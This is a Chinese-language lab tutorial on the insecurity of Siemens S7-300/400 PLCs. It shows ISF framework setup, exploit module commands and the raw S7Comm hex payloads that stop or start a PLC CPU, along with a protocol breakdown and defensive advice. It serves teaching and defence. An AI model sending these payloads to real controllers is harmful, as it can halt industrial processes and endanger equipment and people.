西门子PLC S7-300安全实验教学文档<\/h1>

一、前言<\/h2>

西门子(Siemens)可编程逻辑控制器(PLC)产品线在中国广泛应用，特别是S7系列：<\/p>

S7-200：微型PLC<\/li>
S7-300：小型PLC<\/li>

S7-400：中高性能PLC<\/li> <\/ul>

通信协议<\/h3>

早期协议<\/strong>：S7Comm协议（用于S7-200\/300\/400）

无加密<\/li>
使用102端口<\/li>
基于TPKT和ISO8073协议<\/li> <\/ul> <\/li>
新协议<\/strong>：S7CommPlus（用于S7-1500系列）

增加会话ID机制<\/li>
安全性更高<\/li> <\/ul> <\/li> <\/ul>
二、实验环境搭建<\/h2>
1. 仿真环境搭建<\/h3>

下载Snap7工具包：
https:\/\/sourceforge.net\/projects\/snap7\/files\/1.4.2\/ <\/code><\/pre> <\/li> 解压后进入目录： snap7-full-1.4.2\/snap7-full-1.4.2\/rich-demos\/x86_64-win64\/bin <\/code><\/pre> <\/li> 运行： serverdemo.exe<\/code>（服务端）<\/li> clientdemo.exe<\/code>（客户端）<\/li> <\/ul> <\/li> <\/ol> 2. 攻击环境搭建（Kali Linux）<\/h3> 克隆ISF框架： git clone https:\/\/github.com\/dark-lbp\/isf <\/span><\/span><\/code><\/pre><\/li> 安装Python2的nmap包： wget https:\/\/launchpad.net\/ubuntu\/+source\/python-nmap\/0.1.4-1 <\/span><\/span>tar xvzf python-nmap_0.1.4.orig.tar.gz <\/span><\/span>cd python-nmap-0.1.4 <\/span><\/span>python2 setup.py install <\/span><\/span><\/code><\/pre><\/li> 运行ISF： cd isf <\/span><\/span>sudo su <\/span><\/span>python2 isf.py <\/span><\/span><\/code><\/pre><\/li> <\/ol> 三、漏洞复现步骤<\/h2> 在ISF中选择攻击模块： use exploits\/plcs\/siemens\/s7_300_400_plc_control <\/code><\/pre> <\/li> 设置目标： set target 192.168.2.2 <\/code><\/pre> <\/li> 执行攻击： run <\/code><\/pre> <\/li> <\/ol> 四、漏洞分析<\/h2> 1. 攻击脚本分析<\/h3> 脚本位置：icssploit\/modules\/exploits\/plcs\/siemens\/s7_300_400_plc_control.py<\/code><\/p> 关键Payload<\/h4> setup_communication_payload =<\/span> '0300001902f08032010000020000080000f0000002000201e0'<\/span>.<\/span>decode('hex'<\/span>) <\/span><\/span>cpu_start_payload =<\/span> "0300002502f0803201000005000014000028000000000000fd000009505f50524f4752414d"<\/span>.<\/span>decode('hex'<\/span>) <\/span><\/span>cpu_stop_payload =<\/span> "0300002102f0803201000006000010000029000000000009505f50524f4752414d"<\/span>.<\/span>decode('hex'<\/span>) <\/span><\/span><\/code><\/pre>核心方法<\/h4> create_connect<\/strong>：<\/p> 建立与PLC的连接<\/li> 发送初始化Payload<\/li> 接收PLC响应<\/li> <\/ul> <\/li> exploit<\/strong>：<\/p> 创建socket连接<\/li> 根据command参数发送启动\/停止PLC的Payload<\/li> <\/ul> <\/li> run<\/strong>：<\/p> 检查目标状态<\/li> 执行攻击<\/li> 验证攻击结果<\/li> <\/ul> <\/li> _check_alive<\/strong>：<\/p> 检查目标是否在线<\/li> <\/ul> <\/li> <\/ol> 2. Payload结构分析<\/h3> 以cpu_start_payload<\/code>为例：<\/p> 0300002502f0803201000005000014000028000000000000fd000009505f50524f4752414d <\/code><\/pre> 解码后：<\/p> \x03<\/code>：起始字节<\/li> \x00\x00\x19<\/code>：数据包长度<\/li> \x02\xf0\x80<\/code>：S7协议标识<\/li> 其余部分与S7 Communication协议一致<\/li> <\/ul> 五、安全建议<\/h2> 网络隔离<\/strong>：<\/p> 将PLC置于独立网络<\/li> 限制102端口的访问<\/li> <\/ul> <\/li> 协议升级<\/strong>：<\/p> 使用S7CommPlus协议（S7-1500系列）<\/li> 启用加密通信<\/li> <\/ul> <\/li> 访问控制<\/strong>：<\/p> 实施严格的ACL<\/li> 启用用户认证机制<\/li> <\/ul> <\/li> 监控措施<\/strong>：<\/p> 监控异常通信流量<\/li> 部署工控安全审计系统<\/li> <\/ul> <\/li> <\/ol> 六、总结<\/h2> 本实验展示了西门子S7-300\/400 PLC存在的安全风险，通过分析攻击脚本和Payload结构，可以深入了解工控系统的脆弱性。新一代PLC（如S7-1500）已引入更多安全机制，但旧系统仍需特别防护。<\/p>